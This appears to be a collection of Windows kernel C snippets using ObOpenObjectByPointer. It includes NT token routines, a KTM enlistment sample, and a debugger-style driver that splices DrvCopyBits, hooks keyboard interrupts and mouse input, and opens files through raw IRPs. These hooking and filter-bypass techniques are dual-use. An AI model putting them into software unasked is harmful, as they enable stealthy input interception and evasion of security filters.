(RestoreImpersonationState) { PsRestoreImpersonation( PsGetCurrentThread(), &DisabledImpersonationState ); } // // And decrement the reference count of the existing token to counter // the action performed by PsOpenTokenOfThread. If the open // was successful, the handle will have caused the token's // reference count to have been incremented. // ObDereferenceObject( Token ); if (NT_SUCCESS( Status ) && CopyOnOpen) { // // Assign the newly duplicated token to the thread. // PsImpersonateClient( Thread, NewToken, FALSE, // turn off CopyOnOpen flag EffectiveOnly, ImpersonationLevel ); } // // We've impersonated the token so let go of oure reference // if (NewToken != NULL) { ObDereferenceObject( NewToken ); } if (CopyOnOpen && (Thread != NULL)) { ObDereferenceObject( Thread ); } if (OriginalThread != NULL) { ObDereferenceObject(OriginalThread); } // // Return the new handle // if (NT_SUCCESS(Status)) { try { *TokenHandle = LocalHandle; } except(EXCEPTION_EXECUTE_HANDLER) { return GetExceptionCode(); } } return Status; }
NTSTATUS NtOpenProcessToken( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, OUT PHANDLE TokenHandle ) /*++ Routine Description: Open a token object associated with a process and return a handle that may be used to access that token. Arguments: ProcessHandle - Specifies the process whose token is to be opened. DesiredAccess - Is an access mask indicating which access types are desired to the token. These access types are reconciled with the Discretionary Access Control list of the token to determine whether the accesses will be granted or denied. TokenHandle - Receives the handle of the newly opened token. Return Value: STATUS_SUCCESS - Indicates the operation was successful. --*/ { PVOID Token; KPROCESSOR_MODE PreviousMode; NTSTATUS Status; HANDLE LocalHandle; PAGED_CODE(); PreviousMode = KeGetPreviousMode(); // // Probe parameters // if (PreviousMode != KernelMode) { try { ProbeForWriteHandle(TokenHandle); } except(EXCEPTION_EXECUTE_HANDLER) { return GetExceptionCode(); } // end_try } //end_if // // Valdiate access to the process and obtain a pointer to the // process's token. If successful, this will cause the token's // reference count to be incremented. // Status = PsOpenTokenOfProcess( ProcessHandle, ((PACCESS_TOKEN *)&Token)); if (!NT_SUCCESS(Status)) { return Status; } // // Now try to open the token for the specified desired access // Status = ObOpenObjectByPointer( (PVOID)Token, // Object 0, // HandleAttributes NULL, // AccessState DesiredAccess, // DesiredAccess SepTokenObjectType, // ObjectType PreviousMode, // AccessMode &LocalHandle // Handle ); // // And decrement the reference count of the token to counter // the action performed by PsOpenTokenOfProcess(). If the open // was successful, the handle will have caused the token's // reference count to have been incremented. // ObDereferenceObject( Token ); // // Return the new handle // if (NT_SUCCESS(Status)) { try { *TokenHandle = LocalHandle; } except(EXCEPTION_EXECUTE_HANDLER) { return GetExceptionCode(); } } return Status; }
NTSTATUS KernelOpenFile(wchar_t *FileFullName, PHANDLE FileHandle, ACCESS_MASK DesiredAccess, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions) { WCHAR SystemRootName[32]=L"\\SystemRoot"; WCHAR *FileNodeName=NULL; UNICODE_STRING FilePath; PDEVICE_OBJECT RealDevice,DeviceObject; NTSTATUS status=STATUS_UNSUCCESSFUL; PFILE_OBJECT FileObject; FileNodeName = (WCHAR*)ExAllocatePool(NonPagedPool,260*2); if (FileNodeName==NULL) { return status; } RtlZeroMemory(FileNodeName,260*2); if (_wcsnicmp(FileFullName,SystemRootName,wcslen(SystemRootName)) == 0) { int Len; if(!GetWindowsRootName(FileNodeName)) { ExFreePool(FileNodeName); return status; } Len=wcslen(SystemRootName); wcscat(FileNodeName,&FileFullName[Len]); } else { if (FileFullName[1]!=0x003A||FileFullName[2]!=0x005C) { return status; } wcscpy(FileNodeName,&FileFullName[2]); } if(!GetDeviceObjectFromFileFullName(FileFullName,&RealDevice,&DeviceObject)) { ExFreePool(FileNodeName); return status; } RtlInitUnicodeString(&FilePath,FileNodeName); status = IrpCreateFile(&FilePath,DesiredAccess,FileAttributes,ShareAccess,CreateDisposition,CreateOptions,DeviceObject,RealDevice,&FileObject); if (!NT_SUCCESS(status)) { ExFreePool(FileNodeName); return status; } status=ObOpenObjectByPointer( FileObject, OBJ_KERNEL_HANDLE, //verifier下测试要指定OBJ_KERNEL_HANDLE 0, DesiredAccess|0x100000, *IoFileObjectType, 0, FileHandle); ObfDereferenceObject(FileObject); return status; }
EXTERN_C VOID EnumProcessModuleByVM( PEPROCESS pEProcess, PALL_PROCESS_MODULE_INFO pAllModuleInf ) { ULONG dwStartAddr = 0x00000000; HANDLE hProcess; MEMORY_BASIC_INFORMATION mbi; PUNICODE_STRING pSectionNam = NULL; OBJECT_ATTRIBUTES ObjectAttributes; CLIENT_ID ClientId={0}; NTSTATUS status; int i=0; int count = -1; ULONG ulDllSize; //BOOL bInit = FALSE; //WinVer = GetWindowsVersion(); //switch(WinVer) //{ //case WINDOWS_VERSION_XP: // if (!MmIsAddressValidEx(ZwQueryVirtualMemory)){ // ZwQueryVirtualMemory = GetZwQueryVirtualMemoryAddress(); // } // break; //case WINDOWS_VERSION_7_7600_UP: //case WINDOWS_VERSION_7_7000: // ReLoadNtosCALL((PVOID)(&ZwQueryVirtualMemory),L"ZwQueryVirtualMemory",SystemKernelModuleBase,(ULONG)ImageModuleBase); //win7导出了,可以直接用 // break; //case WINDOWS_VERSION_2K3_SP1_SP2: // if (!MmIsAddressValidEx(ZwQueryVirtualMemory)){ // ZwQueryVirtualMemory = GetZwQueryVirtualMemoryAddress(); // } // break; //} //ReLoadNtosCALL((PVOID)(&RObOpenObjectByPointer),L"ObOpenObjectByPointer",SystemKernelModuleBase,(ULONG)ImageModuleBase); //ReLoadNtosCALL((PVOID)(&RExAllocatePool),L"ExAllocatePool",SystemKernelModuleBase,(ULONG)ImageModuleBase); //ReLoadNtosCALL((PVOID)(&RExFreePool),L"ExFreePool",SystemKernelModuleBase,(ULONG)ImageModuleBase); //ReLoadNtosCALL((PVOID)(&RZwClose),L"ZwClose",SystemKernelModuleBase,(ULONG)ImageModuleBase); //if (ZwQueryVirtualMemory && // RObOpenObjectByPointer && // RExAllocatePool && // RExFreePool && // RZwClose) //{ // bInit = TRUE; //} //if (!bInit) // return ; ////进程已经退出鸟 //if (!IsExitProcess((PEPROCESS)EProcess)){ // return ; //} status = ObOpenObjectByPointer( (PVOID)pEProcess, // Object OBJ_KERNEL_HANDLE, // HandleAttributes NULL, // PassedAccessState OPTIONAL (ACCESS_MASK)0, // DesiredAccess *PsProcessType, // ObjectType KernelMode, // AccessMode &hProcess); if (!NT_SUCCESS(status)) { //if (DebugOn) //KdPrint(("ObOpenObjectByPointer failed:%d",RtlNtStatusToDosError(status))); return ; } pSectionNam = (PUNICODE_STRING)ExAllocatePool(NonPagedPool, MAX_PATH * sizeof(WCHAR)); if (!pSectionNam) { ZwClose(hProcess); return; } RtlZeroMemory(pSectionNam->Buffer, MAX_PATH * sizeof(WCHAR)); pSectionNam->MaximumLength = MAX_PATH; __try { for (dwStartAddr = 0; dwStartAddr < 0x7fffffff; dwStartAddr = dwStartAddr + 0x10000) { status = ZwQueryVirtualMemory( hProcess, (PVOID)dwStartAddr, MemoryBasicInformation, &mbi, sizeof(MEMORY_BASIC_INFORMATION), 0 ); if (NT_SUCCESS(status) && mbi.Type == MEM_IMAGE) { status = ZwQueryVirtualMemory( hProcess, (PVOID)dwStartAddr, MemorySectionName, pSectionNam, MAX_PATH*sizeof(WCHAR), 0 ); if (NT_SUCCESS(status) && !MmIsAddressValid(pSectionNam->Buffer)) { //如果当前的DLL模块路径 不等于前一个,则说明是开始了下一个DLL的枚举了,首先判断第一个字节是否是'\' if (((PCHAR)pSectionNam->Buffer)[0] == 0x5c) { if (count == -1 ||\ RtlCompareMemory(pAllModuleInf->vModuleInf[count].ImagePathName, pSectionNam->Buffer, pSectionNam->Length)\ != pSectionNam->Length) { RtlCopyMemory(pAllModuleInf->vModuleInf[++count].ImagePathName, pSectionNam->Buffer, pSectionNam->Length); for (ulDllSize = dwStartAddr+mbi.RegionSize; ulDllSize < 0x7fffffff; ulDllSize += mbi.RegionSize) { status = ZwQueryVirtualMemory( hProcess, (PVOID)ulDllSize, MemoryBasicInformation, &mbi, sizeof(MEMORY_BASIC_INFORMATION), 0 ); if (NT_SUCCESS(status) && mbi.Type != MEM_IMAGE) { pAllModuleInf->vModuleInf[count].size = ulDllSize - dwStartAddr; } } } } } } } }__except(EXCEPTION_EXECUTE_HANDLER){} _FunctionRet: pAllModuleInf->uCount = count; ExFreePool(pSectionNam); ZwClose(hProcess); }
// // Driver entry point // NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING ) { DriverObject->DriverUnload = DriverUnload; KdPrint(("[~] DriverEntry()\n")); PsGetVersion (&MajorVersion, &MinorVersion, 0, 0); if (MajorVersion >= 6) { KdPrint(("Windows Vista and later are not supported yet\n")); return STATUS_NOT_SUPPORTED; } if (MajorVersion < 5 || MinorVersion == 0) { KdPrint(("Windows NT and 2000 are not supported\n")); return STATUS_NOT_SUPPORTED; } ASSERT (MajorVersion == 5); ASSERT (MinorVersion >= 1 && MinorVersion <= 2); if (MinorVersion == 1) { KdPrint(("Running on Windows XP\n")); } else { KdPrint(("Running on Windows 2003 Server\n")); } if (KeNumberProcessors > 1) { KdPrint(("Loading on multiprocessor system (NumberProcessors %d)\n", KeNumberProcessors)); } else { KdPrint(("Loading on uniprocessor system\n")); } KdPrint (("First hello from nt\n")); if(!NT_SUCCESS(W32FindAndSwapIAT ())) { KdPrint(("could not swap import\n")); return STATUS_INVALID_FILE_FOR_SECTION; } // import something from W32k EngPrint ("Second hello from win32k\n"); HANDLE hCsrProcess; NTSTATUS Status; Status = ObOpenObjectByPointer ( CsrProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &hCsrProcess ); if (!NT_SUCCESS(Status)) { KdPrint(("ObOpenObjectByPointer failed with status %X\n", Status)); W32ReleaseCall(); return Status; } KdPrint(("csr opened, handle %X\n", hCsrProcess)); // // EngLoadImage uses KeAttachProcess/KeDetachProcess to attach to csrss process // KeDetachProcess detaches to thread's original process, but our thread's // original process is System! (because we are running in the context of system // worker thread that loads a driver). // ( // | fucken windows programmers could not call KeStackAttachProcess // | instead of KeAttachProcess :( // ) // So we have to run our function in the context of csrss.exe // HANDLE ThreadHandle; CLIENT_ID ClientId; OBJECT_ATTRIBUTES Oa; InitializeObjectAttributes (&Oa, NULL, OBJ_KERNEL_HANDLE, 0, 0); Status = PsCreateSystemThread ( &ThreadHandle, THREAD_ALL_ACCESS, &Oa, hCsrProcess, &ClientId, REINITIALIZE_ADAPTER, NULL ); if (!NT_SUCCESS(Status)) { KdPrint(("PsCreateSystemThread failed with status %X\n", Status)); ZwClose (hCsrProcess); W32ReleaseCall(); return Status; } KdPrint(("thread created, handle %X\n", ThreadHandle)); PETHREAD Thread; Status = ObReferenceObjectByHandle( ThreadHandle, THREAD_ALL_ACCESS, *PsThreadType, KernelMode, (PVOID*) &Thread, NULL ); if (!NT_SUCCESS(Status)) { KdPrint(("ObReferenceObjectByHandle failed with status %X\n", Status)); // cannot unload because thread is running KeBugCheck (0); } KdPrint(("thread referenced to %X\n", Thread)); KeWaitForSingleObject (Thread, Executive, KernelMode, FALSE, NULL); KdPrint(("Thread terminated\n")); ZwClose (hCsrProcess); ObDereferenceObject (Thread); ZwClose (ThreadHandle); KdPrint(("success\n", hCsrProcess)); if (!pDrvCopyBits) { KdPrint(("Could not find DrvCopyBits\n")); W32ReleaseCall(); return STATUS_UNSUCCESSFUL; } // // Query keyboard LEDs // if(!NT_SUCCESS(KbdWinQueryLeds())) { W32ReleaseCall(); return STATUS_UNSUCCESSFUL; } PSHARED_DISP_DATA disp = GetSharedData(); if (!disp) { EngPrint ("ngvid: could not get shared data\n"); W32ReleaseCall(); return STATUS_UNSUCCESSFUL; } if (disp->Signature != SHARED_SIGNATURE) { EngPrint ("ngvid: Damaged shared block %X signature %X should be %X\n", disp, disp->Signature, SHARED_SIGNATURE); //__asm int 3 W32ReleaseCall(); return STATUS_UNSUCCESSFUL; } KdPrint (("Got shared %X Sign %X Surf %X\n", disp, disp->Signature, disp->pPrimarySurf)); #if 0 // // Temporarily hook DrvCopyBits // pDrvCopyBits = disp->pDrvCopyBits; #endif if (!disp->pPrimarySurf) { KdPrint(("DrvCopyBits %X\n", pDrvCopyBits)); KeInitializeEvent (&SynchEvent, SynchronizationEvent, FALSE); if (SpliceFunctionStart (pDrvCopyBits, NewDrvCopyBits, SplicingBuffer, sizeof(SplicingBuffer), BackupBuffer, &BackupWritten, FALSE)) { KdPrint(("SpliceFunctionStart FAILED!!!\n")); W32ReleaseCall(); return STATUS_UNSUCCESSFUL; } KdPrint(("Now you have to move mouse pointer across the display ...\n")); KeWaitForSingleObject (&SynchEvent, Executive, KernelMode, FALSE, NULL); UnspliceFunctionStart (pDrvCopyBits, BackupBuffer, FALSE); KdPrint(("Wait succeeded, so got primary surf %X\n", pPrimarySurf)); disp->pPrimarySurf = pPrimarySurf; } else { KdPrint(("Already have primary surface\n")); pPrimarySurf = disp->pPrimarySurf; } // Hook kbd & mouse #if KBD_HOOK_ISR OldKbd = GetIOAPICIntVector (1); *(PVOID*)&OldISR = IoHookInterrupt ( (UCHAR)OldKbd, InterruptService); #else CreateTrampoline(); //I8042HookKeyboard ((PI8042_KEYBOARD_ISR) IsrHookRoutine); #endif MouseInitialize (StateChangeCallbackRoutine); KdPrint(("Keyboard & mouse hooked\n")); // Initialize reset DPC KeInitializeDpc (&HotkeyResetStateDpc, HotkeyResetStateDeferredRoutine, NULL); // // Perform multiprocessor initialization // DbgHalInitializeMP (); /// Worker(); /// W32ReleaseCall(); DbgInitialize (); KdPrint(("[+] Driver initialization successful\n")); return STATUS_SUCCESS; }
NTSTATUS EnlistInTransaction( __out PHANDLE EnlistmentHandle, __in ACCESS_MASK DesiredAccess, __in PVOID Transaction, __in NOTIFICATION_MASK NotificationMask, __in_opt PVOID EnlistmentKey ) /*++ Routine Description: This method is a wrapper around ZwCreateEnlistment. It outputs a handle to the enlistment object which represent's a resource manager's enlistment to a transaction. Enlisting to a transaction allows the resource manager to receive notifications about a transaction's events. Arguments: EnlistmentHandle - Pointer to variable that receives the handle to the new enlistment object. DesiredAccess - Specifies the requested access to the enlistment object. Transaction - Transaction object NotificationMask - A bitwise OR of TRANSACTION_NOTIFY_Xxx values defined in Ktmtypes.h. It specifies the types of transaction notifications that KTM will send to the caller. EnlistmentKey - A caller-defined context value that uniquely identifies the enlistment. The callback routine registered when callbacks were enabled in the resource manager receives this value. Return Value: NTSTATUS --*/ { NTSTATUS Status; HANDLE TransactionHandle = NULL; OBJECT_ATTRIBUTES ObjAttributes; // // Get a handle to the transaction object // Status = ObOpenObjectByPointer(Transaction, OBJ_KERNEL_HANDLE, NULL, TRANSACTION_ALL_ACCESS, *TmTransactionObjectType, KernelMode, &TransactionHandle); if (!NT_SUCCESS(Status)) { ErrorPrint("ObOpenObjectByPointer failed. Status 0x%x.", Status); return Status; } // // Use the transaction handle and the volatile RM created in // CreateKTMResourceManager() to enlist to the transaction. // InitializeObjectAttributes(&ObjAttributes, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); Status = ZwCreateEnlistment(EnlistmentHandle, DesiredAccess, ResourceManager, TransactionHandle, &ObjAttributes, 0, NotificationMask, EnlistmentKey); ZwClose(TransactionHandle); if (!NT_SUCCESS(Status)) { ErrorPrint("ZwCreateEnlistment failed. Status 0x%x", Status); } return Status; }